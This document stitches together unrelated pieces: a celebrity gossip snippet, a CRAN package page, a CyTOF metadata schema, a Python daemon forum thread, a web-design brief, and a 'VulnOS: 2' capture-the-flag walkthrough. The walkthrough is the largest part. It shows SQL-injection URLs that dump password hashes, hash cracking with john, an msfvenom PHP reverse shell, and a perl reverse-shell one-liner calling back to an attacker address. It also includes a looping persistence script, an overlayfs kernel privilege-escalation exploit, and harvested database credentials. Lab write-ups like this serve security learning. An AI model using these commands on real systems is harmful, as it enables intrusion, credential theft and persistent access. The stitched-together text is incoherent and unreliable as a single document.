"Cher is no longer a Michael Jackson fan. "I don't really care what he does to his face. He could just erase it as far as I'm concerned," Cher told TV Guide for its April 5 issue. "But I don't like him anymore. And it's because of his children. I cannot imagine putting my children through what he put his children through," Cher says. Though she once considered Jackson a "great artist," she said she has been turned off by all of the negative publicity about him."
|
|
Read article...
|
|
|
|
|


---
layout: post
title: "VulnOS: 2"
date: 2019-04-15 00:34:01 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, drupal, opendocman, sqli, john, kernel exploit, overlayfs]
---
Hostname: VulnOSv2
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/vulnosv2# nmap -Pn -sT -sV -A -oA vulnosv2 -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-20 18:09 EDT
Nmap scan report for VulnOSv2.homenet.dom (<IP_ADDRESS>)
Host is up (0.0028s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 6.6.1p1
Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnOSv2
6667/tcp open irc ngircd
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 2.80 ms VulnOSv2.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.07 seconds
Gaining Access
Looking at the service information returned from nmap, we have:
Not a lot here, so we will scan the web service with nikto to see if anything else turns up.
root@kali:~/Walkthroughs/vulnosv2# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-04-20 20:39:16 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 3c9, size: 531f36393d540, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2019-04-20 20:40:34 (GMT-4) (78 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Again, not much. I'll go ahead and browse to the site and see what we're dealing with.
Looks like the main content for the site is at
http://<IP_ADDRESS>/jabc. The site doesn't have a lot of content, but the links look like we have a Drupal backend. Adding '?q=user/login' to the default page confirms this by bringing up a login form.
Let's scan the site with dirb to see what kinds of directories are available.
root@kali:~/Walkthroughs/vulnosv2# dirb http://<IP_ADDRESS>/jabc /usr/share/dirb/wordlists/big.txt -o dirb-http-<IP_ADDRESS>-jabc.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb-http-<IP_ADDRESS>-jabc.txt
START_TIME: Sat Apr 20 20:53:25 2019
URL_BASE: http://<IP_ADDRESS>/jabc/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
GENERATED WORDS: 20458
---- Scanning URL: http://<IP_ADDRESS>/jabc/ ----
==> DIRECTORY: http://<IP_ADDRESS>/jabc/includes/
==> DIRECTORY: http://<IP_ADDRESS>/jabc/misc/
==> DIRECTORY: http://<IP_ADDRESS>/jabc/modules/
==> DIRECTORY: http://<IP_ADDRESS>/jabc/profiles/
+ http://<IP_ADDRESS>/jabc/robots.txt (CODE:200|SIZE:1561)
==> DIRECTORY: http://<IP_ADDRESS>/jabc/scripts/
==> DIRECTORY: http://<IP_ADDRESS>/jabc/sites/
==> DIRECTORY: http://<IP_ADDRESS>/jabc/templates/
==> DIRECTORY: http://<IP_ADDRESS>/jabc/themes/
---- Entering directory: http://<IP_ADDRESS>/jabc/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/jabc/misc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/jabc/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/jabc/profiles/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/jabc/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/jabc/sites/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/jabc/templates/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://<IP_ADDRESS>/jabc/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
END_TIME: Sat Apr 20 20:54:28 2019
DOWNLOADED: 20458 - FOUND: 1
Looks like we have lots of listable directories with lots of content. I'll use wget to pull down the files so I can search and browse through them offline.
wget -m http://<IP_ADDRESS>/jabc
wget -m http://<IP_ADDRESS>/jabc/includes/
wget -m http://<IP_ADDRESS>/jabc/misc/
wget -m http://<IP_ADDRESS>/jabc/modules/
wget -m http://<IP_ADDRESS>/jabc/profiles/
wget -m http://<IP_ADDRESS>/jabc/scripts/
wget -m http://<IP_ADDRESS>/jabc/sites/
wget -m http://<IP_ADDRESS>/jabc/templates/
wget -m http://<IP_ADDRESS>/jabc/themes/
for num in $(seq 1 100); do wget -m "http://<IP_ADDRESS>/jabc/?q=node/${num}"; done
<?php
/**
* @file
* Functions that need to be loaded on every Drupal request.
*/
/**
* The current system version.
*/
define('VERSION', '7.26');
[...]
Searching the exploit database, this version of Drupal seems to have several known vulnerabilities.
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | exploits/php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | exploits/php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | exploits/php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | exploits/php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) | exploits/php/webapps/35150.php
Drupal 7.x Module Services - Remote Code Execution | exploits/php/webapps/41564.php
Drupal < 7.34 - Denial of Service | exploits/php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | exploits/php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | exploits/php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | exploits/php/webapps/44449.rb
Unfortunately, trying some of these exploits doesn't result in anything useful.
In addition to dirb, we'll run wfuzz with the urls-Drupal-7.20.txt list from SecLists.
root@kali:~/Walkthroughs/vulnosv2# wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/URLs/urls-Drupal-7.20.txt -t 30 --sc 200 http://<IP_ADDRESS>/jabcFUZZ > wfuzz-drupal.txt
This produces lots of content, but probably nothing we don't already have by mirroring the site with wget (since the directories were listable).
One of the modules that is available is the "PHP filter" module. This module allows you to enter PHP code directly into a Drupal page, so that will be nice to have if we can get into the administrative section of the site.
root@kali:~/Walkthroughs/vulnosv2/<IP_ADDRESS>/jabc/modules/php# cat php.info
name = PHP filter
description = Allows embedded PHP code/snippets to be evaluated.
package = Core
version = VERSION
core = 7.x
files[] = php.test
; Information added by Drupal.org packaging script on 2014-01-15
version = "7.26"
project = "drupal"
datestamp = "1389815930"
Returning to browsing through the site, we notice the Documentation page (
http://<IP_ADDRESS>/jabc/?q=node/7) appears to be blank, so we check the source code and find this...
[...]

Dear customer,

For security reasons, this section is hidden.

For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest

Thank you.

[...]
Searching the exploit database for this version of OpenDocMan produces a single entry.
OpenDocMan 1.2.7 - Multiple Vulnerabilities | exploits/php/webapps/32075.txt
The write up identifies two vulnerabilities. One is for an unauthenticated SQL injection and another is for an authenticated privilege escalation attack. We have some credentials (guest/guest), but let's try the SQL injection vulnerability first.
We are able to confirm the SQL injection vulnerability using the proof-of-concept (PoC) code in 32075.txt. Using the following URL, we are able to populate the drop down list with the database version.
Using the following loop, we are able to enumerate all the databases, table names and columns. Since our SQL injection page only allows us to return a single value, we have to make lots of requests and use 'concat_ws' to merge columns (with a separator).
root@kali:~/Walkthroughs/vulnosv2/sqli# for num in $(seq 0 2000); do wget -O ${num}.html "http://<IP_ADDRESS>/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,(select concat_ws(0x2E, 0x23, table_schema, table_name, column_name, 0x23) as cat from information_schema.columns limit 1 offset ${num}),3,4,5,6,7,8,9"; done
I used the '#' (0x23) character to wrap the returned value, and used a period ('.') as a field separator (0x2E). This way we can easily grep out the values we want...
root@kali:~/Walkthroughs/vulnosv2/sqli# grep -Po '#\..*?\.#' * | cut -d ':' -f 2 | cut -d '.' -f 2-4 | sort -u
The primary database and table that interest me is 'drupal7.users'. It has the following columns I'd like to pull information from.
I'll use the following loop to get the user information...
root@kali:~/Walkthroughs/vulnosv2/sqli/drupal7.users# for num in $(seq 0 10); do wget -O ${num}.html "http://<IP_ADDRESS>/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,(select concat_ws(0x2E, 0x23, uid, name, pass, login, 0x23) as cat from drupal7.users limit 1 offset ${num}),3,4,5,6,7,8,9"; done
And grep my results...
root@kali:~/Walkthroughs/vulnosv2/sqli/drupal7.users# grep -Po '#\..*?\.#' * | cut -d ':' -f 2 | cut -d '.' -f 2-6 | sort -u
0...0.#
1.webmin.$S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr/Ug.1462351302
Looks like I have a password hash to crack. Let's create our password file for john.
root@kali:~/Walkthroughs/vulnosv2# cat drupal7-users
webmin:$S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr/Ug
And we'll start john with just the --single option first.
root@kali:~/.sqlmap/output/<IP_ADDRESS># john --single drupal7-users
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
webmin1980 (webmin)
1g 0:00:00:05 DONE (2019-04-21 00:07) 0.1934g/s 143.5p/s 143.5c/s 143.5C/s webmin1978..webmin1985
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Looks like we got our password! 😄
Let's see if we can enable the PHP filter module so we can insert PHP code directly into pages.
We'll enable the PHP filter plugin and click Save Configuration at the bottom of the page.
Before creating our PHP page, let's generate our PHP reverse shell code using msfvenom.
root@kali:~/Walkthroughs/vulnosv2# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3033 bytes
We'll also go ahead and set up two listeners in Metasploit. One for our PHP revers shell and one for a perl reverse shell. I like to do this because the PHP reverse shell doesn't stay active for very long.
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5433
Now, let's go create our Drupal page with our PHP reverse shell code.
-
Click Content in the top admin menu overlay
-
Click Add Content
-
Choose Basic page
-
Give the page a Title (I'm using 'PHP Reverse Shell')
-
Just below the Body, change the Text format to 'PHP code'
-
Copy and paste the PHP reverse shell code created by msfvenom into the Body
-
Click Save
As soon as you click Save, your PHP code should execute and your session should be created in Metasploit.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:57254) at 2019-04-22 11:05:55 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/var/www/html/jabc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
[*] Command shell session 2 opened (<IP_ADDRESS>:5433 -> <IP_ADDRESS>:41013) at 2019-04-22 11:06:47 -0400
background
Background session 1? [y/N] y
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
www-data@VulnOSv2:/var/www/html/jabc$
Maintaining Access
Since SSH is open on the victim, I checked to see if the www-data user has a default home directory and shell defined.
www-data@VulnOSv2:/var/www/html/jabc$ grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
The home directory exists and is writable.
www-data@VulnOSv2:/var/www/html/jabc$ ls -l /var
[...]
drwxrwxrwx 4 root root 4096 Apr 20 2016 www
However, the default shell is set to '/usr/sbin/nologin', so I won't be able to SSH to the box with this account.
I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes.
root@kali:~/Walkthroughs/vulnosv2# cat thumbs
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
I uploaded the script to the victim's /var/www/html/jabc/themes/stark directory (using netcat) and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
On victim...
www-data@VulnOSv2:/var/www/html/jabc/themes/stark$ nc -l -p 4321 > thumbs
On attacker...
root@kali:~/Walkthroughs/vulnosv2# nc -w 3 <IP_ADDRESS> 4321 < thumbs
Back on victim (after file transfer)...
www-data@VulnOSv2:/var/www/html/jabc/themes/stark$ chmod +x thumbs
www-data@VulnOSv2:/var/www/html/jabc/themes/stark$ ./thumbs &
[1] 7592
Privilege Escalation
We start by checking what operating system we are running using the 'uname' command.
www-data@VulnOSv2:/var/www/html/jabc$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
We also check 'os-release' and 'issue.net' in the /etc directory and get the following.
www-data@VulnOSv2:/etc$ cat os-release
NAME="Ubuntu"
VERSION="14.04.4 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.4 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
www-data@VulnOSv2:/etc$ cat issue.net
Ubuntu 14.04.4 LTS
Checking the exploit database, we have a few contenders.
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | exploits/linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access | exploits/linux/local/37293.txt
Ubuntu 14.04/15.10 - User Namespace Overlayfs Xattr SetGID Privilege Escalation | exploits/linux/local/41762.txt
Let's start with the 37292.c exploit. I've gotten this one to work before.
I'll transfer the C file to the victim using python's SimpleHTTPServer module.
root@kali:~/Walkthroughs/vulnosv2# cp /usr/share/exploitdb/exploits/linux/local/37292.c .
root@kali:~/Walkthroughs/vulnosv2# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
Then, on the victim...
www-data@VulnOSv2:/tmp$ cd /tmp
www-data@VulnOSv2:/tmp$ wget -O 37292.c <IP_ADDRESS>:4321/37292.c
--2019-04-22 17:54:42-- http://<IP_ADDRESS>:4321/37292.c
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: '37292.c'
0K .... 100% 417M=0s
2019-04-22 17:54:42 (417 MB/s) - '37292.c' saved [5119/5119]
www-data@VulnOSv2:/tmp$ gcc -o pwn 37292.c
www-data@VulnOSv2:/tmp$ ./pwn
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#
Well... that was about as easy as it gets. 😄
Let's get that flag.
# cd /root
# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?
Pivoting
N/A
Clean Up
*** STOP /var/www/html/jabc/themes/stark/thumbs ***
*** REMOVE /var/www/html/jabc/themes/stark/thumbs ***
*** REMOVE 37292.c and pwn from /tmp ***
Additional Info
OpenDocMan
We confirmed the privilege escalation vulnerability in the OpenDocMan web interface. We were able to login as guest, then escalate to admin using the information from the exploit database.
jabc dbconfig.php
I was able to pull database credentials from the dbconfig.php file under /var/www/html/jabc/sites/default.
www-data@VulnOSv2:/var/www/html/jabc/sites/default$ cat dbconfig.php
<?php
#
# database access settings in php format
# automatically generated from /etc/dbconfig-common/drupal7.conf
# by /usr/sbin/dbconfig-generate-include
#
# by default this file is managed via ucf, so you shouldn't have to
# worry about manual changes being silently discarded. *however*,
# you'll probably also want to edit the configuration file mentioned
# above too.
$databases['default']['default'] = array(
'driver' => 'mysql',
'database' => 'drupal7',
'username' => 'drupal7',
'password' => 'toor',
'host' => 'localhost',
'port' => '',
'prefix' => ''
);
?>
jabcd0cs config.php
I was able to pull database credentials from the config.php file under /var/www/html/jabcd0cs.
www-data@VulnOSv2:/var/www/html/jabcd0cs$ cat config.php
<?php
[...]
// Eliminate multiple inclusion of config.php
if( !defined('config') )
{
define('config', 'true', false);
// config.php - useful variables/functions
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for [OpenDocMan */
define('DB_NAME', 'jabcd0cs');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASS', 'toor');
/** MySQL hostname */
/* The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a
* local socket e.g. ":/path/to/socket" for the localhost. */
define('DB_HOST', 'localhost');


Tools for using different kinds of bootstrap for estimating sampling variation using complex survey data.
| Version: | 0.0.1 |
| Depends: | plyr, dplyr, functional, stringr |
| Imports: | Rcpp |
| LinkingTo: | Rcpp, RcppArmadillo |
| Suggests: | knitr, testthat |
| Published: | 2016-05-04 |
| Author: | Dennis M. Feehan [aut, cre], Matthew J. Salganik [ths] |
| Maintainer: | Dennis M. Feehan <feehan at berkeley.edu> |
| License: | MIT + file LICENSE |
| NeedsCompilation: | yes |
| Materials: | README NEWS |
| In views: | OfficialStatistics |
| CRAN checks: | surveybootstrap results |
| Reference manual: | surveybootstrap.pdf |
| Package source: | surveybootstrap_0.0.1.tar.gz |
| Windows binaries: | r-devel: surveybootstrap_0.0.1.zip, r-release: surveybootstrap_0.0.1.zip, r-oldrel: surveybootstrap_0.0.1.zip |
| OS X binaries: | r-release: surveybootstrap_0.0.1.tgz, r-oldrel: surveybootstrap_0.0.1.tgz |
| Reverse imports: | networkreporting |
Please use the canonical form https://CRAN.R-project.org/package=surveybootstrap to link to this page.


Metadata file for CYTOF
Description: Metadata information for mass-cytometry (CYTOF).
Worksheet - Acquisition and Preprocessing
Preamble Rows
| Property | Description | Data Type |
|---|---|---|
| assay run id | User defined unique identifier for this assay run. Not necessarily unique across batches. | assays.cytof_assay_core#assay_run_id |
| batch id | CyTOF batch identification number. Unique to every batch. | assays.cytof_assay_core#batch_id |
| protocol identifier | Trial identifier used by lead organization, ie. Center for Experimental Therapeutics Program (CTEP) ID or Industry Sponsored ID. This is usually a short identifier. Example: E4412. | clinical_trial#protocol_identifier |
| assay creator | Indicates what site is filling out the assay. | assays.components.assay_core#assay_creator |
| instrument | Name of CyTOF instrument on which experiment was conducted. | assays.cytof_10021_assay#instrument |
| spike in fcs filename | Path to a file on a User's computer. This file contains the normalized & debarcoded spike-in for a batch. | assays.components.local_file#file_path |
| raw fcs filename(s) | Path to a file on a user's computer. | assays.components.local_file#file_path |
| controls fcs filename(s) | Path to a file on a user's computer. | assays.components.local_file#file_path |
| injector | Name of Injector component used as part of the CyTOF software | assays.cytof_10021_assay#injector |
| date of acquisition | Date of CyTOF batch acquisition. | assays.cytof_10021_assay#date_of_acquisition |
| acquisition buffer | Cell staining buffer used for antibody and cell dilution. | assays.cytof_10021_assay#acquisition_buffer |
| bead removal | Boolean to indicate whether beads have been removed after normalization process | assays.cytof_10021_assay#bead_removal |
| normalization method | Process used for normalization prior to analysis, if any. | assays.cytof_10021_assay#normalization_method |
| debarcoding protocol | The strategy/kit used to barcode CyTOF samples, if any | assays.cytof_10021_assay#debarcoding_protocol |
| harware version | Version no. of instrument hardware used. | assays.cytof_10021_assay#harware_version |
Data Columns
Run info
| Property | Description | Data Type |
|---|---|---|
| cimac id | Specimen identifier assigned by the CIMAC-CIDC Network. Formatted as C????????.?? | sample#cimac_id |
| intermediate fcs filename | Path to a file on a User's computer. This .fcs file is an intermediate file that has been normalized, concatenated, and debarcoded, but has the veri-cells and has not been cleaned up. | assays.components.local_file#file_path |
Preprocessing
| Property | Description | Data Type |
|---|---|---|
| processed fcs filename | Path to a file on a user's computer. | assays.components.local_file#file_path |
| concatenation version | Concatenation of FCS files into a single FCS version number. | assays.cytof_assay_core#entry.concatenation_version |
| normalization version | Version of normalization for CyTOF assay batch. | assays.cytof_assay_core#entry.normalization_version |
| debarcoding key | An ID that maps to the specific isotope labeling scheme in the debarcoding protocol. | assays.cytof_assay_core#entry.debarcoding_key |
| preprocessing_notes | Any notes pertaining to preprocessing of CyTOF data. | assays.cytof_assay_core#entry.preprocessing_notes |
Worksheet - Antibody Information
Data Columns
Samples
| Property | Description | Data Type |
|---|---|---|
| target | Antibody type collected for this study. | assays.components.antibody#antibody |
| clone | Resulting type of antibody clone from primary antibody sample. | assays.components.antibody#clone |
| antibody company | Company from which antibody sample was derived. | assays.components.antibody#company |
| catalog number | Antibody registry catalog number assigned to antibody sample. | assays.components.antibody#cat_num |
| lot number | Identification number assigned to the particular quantity or lot of material from manufacturer. | assays.components.antibody#lot_num |
| isotope | Antibody isotype used to help differentiate antibody signals. | assays.cytof_assay_core#antibody.isotope |
| dilution | Concentration ratio of dilution buffer for primary antibody. | assays.cytof_assay_core#antibody.dilution |
| stain_type | Type of staining method used for antibody. | assays.cytof_assay_core#antibody.stain_type |
| usage | How this antibody should be used in automatic analysis | assays.cytof_assay_core#antibody.usage |


Dear helpful readers...
What is the best practice for handling daemons and server processes? Does anyone know of good documentation on this? Especially considering that otherwise "good" software often is crappy at handling this part?
paster serve is, in effect, a little application server. It has a --daemon option and other options. I try to make them nice, but things trip me up.
Like, I enter daemon mode, then typically bind to a port. If something else is already being served up, the startup fails. I might clobber their PID file. The startup script appears to function, because it exits from the master process, not the daemon process, and the master process exited just fine. How should I deal with this stuff? I'd like to stick to Python, and not use other programs (like start-stop-daemon or whatnot), but I'd also like to know how those programs work -- what they call, in what order, with what protections, etc. And which one of the many options out there is best to emulate. All just for Posix, of course -- it's a whole different situation on Windows.
There's a well-ranked recipe at the Python Cookbook, called "Creating a daemon the Python way" that includes a good discusion of the topic.
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/278731
# Graham Fawcett
You might look at what David Binger has done with qp - it stops and starts multiple servers
http://www.mems-exchange.org/software/qp/qp-1.1.tar.gz/qp-1.1/lib/site.py -- and http://www.mems-exchange.org/software/qp/qp-1.1.tar.gz/qp-1.1/bin/qp
Dulcinea and now qp have always had site management (stop, restart / start, status) type functionality to control various servers including SCGI, Durus and web servers.
You'll find older examples (including driving Apache) in Dulcinea - check the bin dir:
http://www.mems-exchange.org/software/dulcinea/Dulcinea-0.11.tar.gz/Dulcinea-0.11/bin/
Actually I've had a great deal of luck with start-stop-daemon. It keeps track of your PID, writes the pid file, checks it -- everything. Do one thing, do it well -- start-stop-daemon does it well.
At a minimum, you should:
- call setsid(2) so you're the leader of the process group (not a member of the parent's)
- call chdir(2) with your daemon's working directory, or "/" (just not on a network mount or any funky filesystem)
- call umask(2) with the appropriate file creation mask
- close unused FD's (usually 3-FD_MAX, unless you do funny stuff with pipes/IPC)
The search word you're looking for is 'daemonize'. It brought up Graham's link as the first hit, which looks right to me (it's been a couple years ;-).
Here's how Twisted does it: http://svn.twistedmatrix.com/cvs/trunk/twisted/scripts/twistd.py?view=markup
# Nicola Larosa
twistd's approach is pretty correct as far as POSIX-ness and such goes (I believe), but it's a bit of a mess in terms of internal factoring. If you have ideas about how to improve it so it would be more re-usable please feel free to complain.
Before daemonizing I see if the pidfile exists, if it does I open it and try to lock it. If my lock succeeds, there is no other process.. I the close the file and continue. After daemonization I then open the pid file and lock it, flush it and keep it open (might be race in there).. This has worked pretty well for me..
I still have the issue of something failing after daemonization.. I've had good luck creating a pipe before daemonizing.. After the fork my parent has the read end and the daemon has the write end.. The daemon then can write to the pipe which is then displayed to stdout and it sends a keyword when it has started successfully at which point the parent can then exit. Its worked pretty well, but can get a little complex.
# anonymous
Do you (or anyone else) have an example of doing the piping? Live-but-should-be-dead processes are always really painful to debug ("why don't my code edits change anything?!?"), especially since sometimes tracebacks show the current code, not the code that's actually being run, further bending your mind ("how can I get a NameError for x, when x isn't used on that line?!?").
I have added some stuff from QP that tests if a process is still alive, so it should make these detached and untracked servers a little less common (e.g., by testing that a process is dead before deleting the pidfile, and testing that it's not alive before overwriting the pidfile). That might be enough.
# Ian Bicking
Daemontools http://cr.yp.to/daemontools.html is a sure bet if you're on unix. Even if you don't like it, please provide an option that stops your program from forking and redirects it's logging to standard out - this way one can wrap in daemontools.
# anonymous
runit is even nicer; same design, less djb weirdness: http://smarden.org/runit/
I actually tend to run things like twisted servers from under runit, using twistd's keep-in-foreground option and then letting runit do the daemonization...
# Nathaniel Smith
I've been writing a bunch of daemons in Python lately, using most of the techniques described in the comments above. I soon found that all of my daemons needed to do pretty much exactly the same thing at startup. In addition to the fork and detach, I always need to read a configuration file, set up logging, check and write a pidfile, etc. So I refactored all of the common functionality into a single module. You can see it here:
http://hathawaymix.org/Software/Sketches/daemon.py
I feel like something like this belongs in the Python standard library.
Nice sketch, maybe you should add it to sourceforge, or active state
# Anthony
A good code to view is "fetchmail" (http://www.catb.org/~esr/fetchmail/)


Audience, Issues and Approach
| Client's Name and the Final Decision Maker | AJ Vawter and Fred Crone |
|---|---|
| Client's Business Name or Website | Better Batter Bakery |
| Redesign or Brand New Website | Redesign, http://bbbakery.biz/ |
| Type of Website | Business and Marketing |
| Client's Goal(s) | AJ and Fred are seeking a more professional look to their website and to bring their small start-up business to light in the Dallas/Ft. Worth area. |
| Audiences | Issues, Concerns, Needs | Approach |
|---|---|---|
